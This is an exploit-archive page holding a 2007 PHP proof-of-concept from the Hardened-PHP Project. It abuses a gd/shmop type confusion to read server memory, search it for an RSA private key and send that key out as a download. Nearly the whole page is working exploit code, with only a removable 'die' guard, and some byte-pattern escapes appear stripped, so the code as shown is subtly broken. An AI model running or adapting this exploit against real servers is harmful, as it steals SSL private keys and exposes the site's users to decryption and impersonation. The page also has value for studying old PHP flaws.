Home / os / solaris

esser-php.txt

Posted on 09 March 2007

<?php
////////////////////////////////////////////////////////////////////////
//  _  _                _                     _       ___  _  _  ___  //
// | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ | || || _  //
// | __ |/ _` || '_|/ _` |/ -_)| '  / -_)/ _` ||___||  _/| __ ||  _/ //
// |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
//                                                                    //
//         Proof of concept code from the Hardened-PHP Project        //
//                   (C) Copyright 2007 Stefan Esser                  //
//                                                                    //
////////////////////////////////////////////////////////////////////////
//        PHP ext/shmop SSL RSA Private-Key Disclosure Exploit        //
////////////////////////////////////////////////////////////////////////

// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");

if (!extension_loaded("gd") || !extension_loaded("shmop")) {
die("This demonstration exploit only works with ext/gd and ext/shmop loaded.");
}

function init()
{
global $rid;

$rid = imagecreate(10,10);
imagecolorallocate($rid, 0, 0, 0);
imagecolorallocate($rid, 0, 0, 0);
}

function peek($addr, $size)
{
global $rid;
imagecolordeallocate($rid, 0);
imagecolordeallocate($rid, 1);
imagecolorallocate($rid, $addr, 0, 0);
imagecolorallocate($rid, $size, 0, 0);
return shmop_read((int)$rid, 0, $size);
}

init();

$offset = 0x08048000 + 1024 * 64;

while (1) {

$data = peek($offset, 1024 + 16);

$position = strpos($data, "x30x82");
if ($position !== false && $position < 1024) {
// Potential Key
if (substr($data, $position+4, 4) == "x02x01x00x02") {
$length = ord($data[$position+2])*256+ord($data[$position+3])+4;
$keydata = peek($offset + $position, $length);
// Assume an exponent of 0x10001 to really find a RSA key and not a DSA one
if (strpos($keydata, "x01x00x01") > 0)
break;
}
}
$offset += 1024;
}

header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename="server.der"");
echo $keydata;
?>

 

TOP